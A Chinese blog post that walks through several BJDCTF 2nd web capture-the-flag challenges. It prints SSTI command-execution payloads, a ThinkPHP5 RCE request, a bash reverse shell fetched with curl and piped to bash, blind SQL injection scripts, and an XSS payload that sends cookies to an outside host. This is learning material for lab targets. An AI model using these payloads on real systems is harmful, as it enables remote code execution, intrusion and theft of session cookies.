[BJDCTF 2nd] WEB 简单题汇总

2024-01-23 21:32
文章标签 简单 web 汇总 bjdctf 2nd

本文主要是介绍[BJDCTF 2nd] WEB 简单题汇总，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

Web简单题复现

  • [BJDCTF 2nd]fake google
    • 方法一:
    • 方法二:
  • [BJDCTF 2nd]old-hack
  • [BJDCTF 2nd]duangShell
  • [BJDCTF 2nd]简单注入
    • 方法一:
    • 方法二:
    • 方法三：
  • [BJDCTF 2nd]假猪套天下第一
  • [BJDCTF 2nd]Schrödinger
  • [BJDCTF 2nd]xss之光
  • [BJDCTF 2nd]elementmaster

看了看杂项的题目，我发现web的脑洞就是个弟弟

[BJDCTF 2nd]fake google

在这里插入图片描述
经过测试，存在xss和模板注入，这题是模板注入

方法一:

参考文献

在这里插入图片描述

<class ‘os._wrap_close’>，os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法，通过大概猜测找到是第119个类，0也对应一个类，所以这里写[118]。
可以发现是存在这个类的
在这里插入图片描述
接下来用脚本跑索引

import requestsurl ="http://67a8fe61-a3c7-42f4-85ae-f8e301bd7f30.node3.buuoj.cn/qaq"
temp={}
for i in range(1000):url = "http://537306c0-5737-4a8b-8db5-8fd5c2362b4f.node3.buuoj.cn/qaq?name={{\"\".__class__.__bases__[0].__subclasses__()[%d]}}" % ir = requests.get(url)print (url)print(r.text)if "os._wrap_close" in r.text:print(url)print(r.text)break

索引是117
接下来测试看看能不能命令执行
payload

{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

在这里插入图片描述
成功查看根目录下文件，可以发现flag文件在根目录下，查看即可

方法二:

网上看到的第二个方法(其实就是写个python进去找索引,emmm,对于现在的我来说可能想不到这种注入，只能写脚本跑了)

{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}


[BJDCTF 2nd]old-hack

在这里插入图片描述

题目已提示是thinkphp5，自行去搜thinkphp5的漏洞，会找到对应版本，
参考文献

根据参考文献
可得出payload:

get请求
s=captcha
post请求
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /

在这里插入图片描述
查看根目录下的flag即可



[BJDCTF 2nd]duangShell

在这里插入图片描述

题目已提示是swp备份文件泄露
.index.php.swp 即可拿到备份源码
vim -r 打开 解析即可

<html lang="en">
<head><meta charset="UTF-8"><title>give me a girl</title>
</head>
<body><center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {die("where is P3rh4ps's girl friend ???");
} else {$girl = $_POST['];if (preg_match('/\>|\\\/', $girl)) {die('just girl');} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";} else {//duangShell~~~~exec($girl);}
}

emmmmm，过滤了很多东西，当时做到这无从下手，只能看web了,新知识，反弹shell，在buu上因为内网的原因，这题需要用内网开linux靶机，弄了比较长的时间
参考文献

因为exec()不会回显（之前一直琢磨怎么让他回显。。。）反弹shell能够解决而且又没有过滤curl。
先在/var/www/html，创建一个shell.txt文件
输入的命令为:

bash -i >& /dev/tcp/ip/port 0>&1

ip 为内网主机的ip地址，port为端口，随便输(这里以端口为2333为例)

再传post值

girl_friend=curl http://内网ip/shell.txt|bash

再nc

nc -lvp 2333

学到一个新指令

find / -name flag

找到flag所在目录查看即可

[BJDCTF 2nd]简单注入

在这里插入图片描述
首先先测试看看他过滤了啥
在这里插入图片描述
发现过滤了以下指令

union , select , = , ' , & , && , - ,  " , and

(当时看到分号被过滤了，顿时不想做了)

首先联合注入肯定是不行的，试了试报错注入，没有报错回显

考虑盲注（我构造的盲注语句好像不行，只能看web了）

方法一:

新知识（正则表达式注入）
参考文献
由于过滤了双引号，新东西：
BINARY 运算符将紧随其后的 string 转换为 二进制字符串
好像用二分法跑比较麻烦，只能遍历了。。。。。

import requestsurl ="http://b688f906-6a48-48c8-af28-74052e3b3905.node3.buuoj.cn"
temp={}
password =""
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
a = '0x5e'for i in range(100):for j in string:str = hex(j).replace('0x', '')# 查用户名username = "or username regexp binary %s #" % (a + str)print(username)data = {"username": "\\", "password": username}# 查密码#payload = "or password regexp binary %s #" % (a + str) #print(payload)#data={"username" :"\\","password" : payload }r = requests.post(url,data=data)#print(r.text)if "BJD needs to be stronger" in r.text:password +=chr(j)print(password)a+=strbreakif "You konw ,P3rh4ps needs a girl friend" in r.text:breakprint(password)

根据上面的查询到用户名以及密码，直接登录即可

方法二:

转义单引号
在这里插入图片描述
可以发现password逃逸出去了

payload:

password=or 1 #&username=admin\

在这里插入图片描述
输入进去可以发现下面的回显不一样了
payload:

password=^ (ascii(substr((password),1,1))>1)#&username=admin\

可以直接异或，长知识了

接下来上脚本:(二分法跑)

import requests
import timeurl = "http://aed2ff9b-a59f-4192-94ce-362ee82b9d30.node3.buuoj.cn/index.php"
temp = {}
password = ""
for i in range(1,1000):time.sleep(0.06)low = 32high =128mid = (low+high)//2while(low<high):payload = '^ (ascii(substr((password),%d,1))>%d)#' % (i,mid)temp={"username":"admin\\","password": payload}r = requests.post(url,data=temp)print(low,high,mid,":")if "P3rh4ps" in r.text:low = mid+1else:high = midmid =(low+high)//2if(mid ==32 or mid ==127):breakpassword +=chr(mid)print(password)print("password=",password)

方法三：

时间盲注，
csdn参考文献

[BJDCTF 2nd]假猪套天下第一

在这里插入图片描述

刚开始以为是sql注入，后来抓包的时候看到了隐藏文件（访问源代码也可以）
在这里插入图片描述
有个 L0g1n.php的页面，进去看看，记得刷新一下页面
在这里插入图片描述
要修改时间，放到burp中，
起初以为是data，看到cookie里有个time的值，修改后
在这里插入图片描述
要从本地访问，有三种X-Forwarded-For,X-Forwarded-Host,CLIENT-IP,host
这里只能用CLIENT-IP或者X-Real-IP
剩下的不说了，就按照提示来就行了，改http头就行
参考文献
这里要说下Commodo 64这个浏览器，谷歌搜索
在这里插入图片描述
真正的名字是 Commodore 64
最后的http头如下
在这里插入图片描述
base64解密即可

[BJDCTF 2nd]Schrödinger

这题脑洞太大了
自行参考
在这里插入图片描述
可以发现隐藏了test.php,进去之后是一段登录，但是这题并不是要你sql注入
我们返回主页看看
在这里插入图片描述
主页的英文翻译提示我们可以爆破密码
将test.php放到下面input
再check抓包

在这里插入图片描述‘
可以发现cookie值多了个时间戳（base64解码即可得到）
将时间戳置空
在这里插入图片描述
弹出av号，去b站搜，评论区就有
’

[BJDCTF 2nd]xss之光

在这里插入图片描述

用kali自带的dirb扫描目录，发现是.git泄露
使用githack得到源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

没有类的情况下，可以进行原生类反序列化

参考文献
可以使用Exception类进行构造

$a = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($a));

赵老板赛后应该改了一下源码，这段js，我看别的web试出来了。
payload:

<?php
$a = serialize(new Exception("<script>window.location.href='IP'+document.cookie</script>"));
echo urlencode($a);
?>

返回抓包的时候发现弹出cookie
在这里插入图片描述

[BJDCTF 2nd]elementmaster

脑洞题

查看源代码，发现id的值不太对劲，进行十六进制转字符窜
Po.php进去之后啥都没有，看看图片，提到了放射性元素，Po刚好是化学元素
在这里插入图片描述
可能要我们遍历化学元素。。。。
（据说这道题是美国的一道原题改的，还改简单了）

接下来上我的垃圾脚本，

import requests
import timelist = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar','K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
t =""
for i in list:url = "http://cfddf3d4-983f-4513-9a40-9f65cbcf45e4.node3.buuoj.cn/"time.sleep(0.06)i+=".php"print(i)url= url+iprint(url)print('\n')r = requests.get(url)if r.status_code == 200:t += r.textprint(t)print(t)
url = "http://cfddf3d4-983f-4513-9a40-9f65cbcf45e4.node3.buuoj.cn/"
print(url+t)

跑出来后
在这里插入图片描述
进入链接即可

这篇关于[BJDCTF 2nd] WEB 简单题汇总的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/637589。

相关文章

Python中Request的安装以及简单的使用方法图文教程

Python中Request的安装以及简单的使用方法图文教程

《Python中Request的安装以及简单的使用方法图文教程》python里的request库经常被用于进行网络爬虫,想要学习网络爬虫的同学必须得安装request这个第三方库,：本文主要介绍P... 目录1.Requests 安装cmd 窗口安装为pycharm安装在pycharm设置中为项目安装req
阅读更多...
SpringBoot简单整合ElasticSearch实践

SpringBoot简单整合ElasticSearch实践

《SpringBoot简单整合ElasticSearch实践》Elasticsearch支持结构化和非结构化数据检索,通过索引创建和倒排索引文档,提高搜索效率,它基于Lucene封装,分为索引库、类型... 目录一：ElasticSearch支持对结构化和非结构化的数据进行检索二：ES的核心概念Index：
阅读更多...
JavaWeb项目创建、部署、连接数据库保姆级教程(tomcat)

JavaWeb项目创建、部署、连接数据库保姆级教程(tomcat)

《JavaWeb项目创建、部署、连接数据库保姆级教程(tomcat)》：本文主要介绍如何在IntelliJIDEA2020.1中创建和部署一个JavaWeb项目,包括创建项目、配置Tomcat服务... 目录简介：一、创建项目二、tomcat部署1、将tomcat解压在一个自己找得到路径2、在idea中添加
阅读更多...
GO语言实现串口简单通讯

GO语言实现串口简单通讯

《GO语言实现串口简单通讯》本文分享了使用Go语言进行串口通讯的实践过程,详细介绍了串口配置、数据发送与接收的代码实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要... 目录背景串口通讯代码代码块分解解析完整代码运行结果背景最近再学习 go 语言，在某宝用5块钱买了个
阅读更多...
JavaWeb 中的 Filter组件详解

JavaWeb 中的 Filter组件详解

《JavaWeb中的Filter组件详解》本文详细介绍了JavaWeb中的Filter组件,包括其基本概念、工作原理、核心接口和类、配置方式以及常见应用示例,Filter可以实现请求预处理、响应后... 目录JavaWeb 中的 Filter 详解1. Filter 基本概念1.1 什么是 Filter1.
阅读更多...
MySQL基本表查询操作汇总之单表查询+多表操作大全

MySQL基本表查询操作汇总之单表查询+多表操作大全

《MySQL基本表查询操作汇总之单表查询+多表操作大全》本文全面介绍了MySQL单表查询与多表操作的关键技术,包括基本语法、高级查询、表别名使用、多表连接及子查询等,并提供了丰富的实例,感兴趣的朋友跟... 目录一、单表查询整合（一）通用模版展示（二）举例说明（三）注意事项（四）Mapper简单举例简单查询
阅读更多...
SpringBoot整合Apache Spark实现一个简单的数据分析功能

SpringBoot整合Apache Spark实现一个简单的数据分析功能

《SpringBoot整合ApacheSpark实现一个简单的数据分析功能》ApacheSpark是一个开源的大数据处理框架,它提供了丰富的功能和API,用于分布式数据处理、数据分析和机器学习等任务... 目录第一步、添加android依赖第二步、编写配置类第三步、编写控制类启动项目并测试总结ApacheS
阅读更多...
C++简单日志系统实现代码示例

C++简单日志系统实现代码示例

《C++简单日志系统实现代码示例》日志系统是成熟软件中的一个重要组成部分,其记录软件的使用和运行行为,方便事后进行故障分析、数据统计等,：本文主要介绍C++简单日志系统实现的相关资料,文中通过代码... 目录前言Util.hppLevel.hppLogMsg.hppFormat.hppSink.hppBuf
阅读更多...
交换机救命命令手册! 思科交换机排障命令汇总指南

交换机救命命令手册! 思科交换机排障命令汇总指南

《交换机救命命令手册!思科交换机排障命令汇总指南》在交换机配置与故障排查过程中，总会遇到那些“关键时刻靠得住的命令”，今天我们就来分享一份思科双实战命令手册... 目录1. 基础系统诊断2. 接口与链路诊断3. L2切换排障4. L3路由与转发5. 高级调试与日志6. 性能与QoS7. 安全与DHCP8.
阅读更多...
故障定位快人一步! 华为交换机排障命令汇总

故障定位快人一步! 华为交换机排障命令汇总

《故障定位快人一步!华为交换机排障命令汇总》在使用华为交换机进行故障排查时，首先需要了解交换机的当前状态,通过执行基础命令，可以迅速获取到交换机的系统信息、接口状态以及配置情况等关键数据，为后续的故... 目录基础系统诊断接口与链路诊断L2切换排障L3路由与转发高级调试与日志性能、安全与扩展IT人无数次实战
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2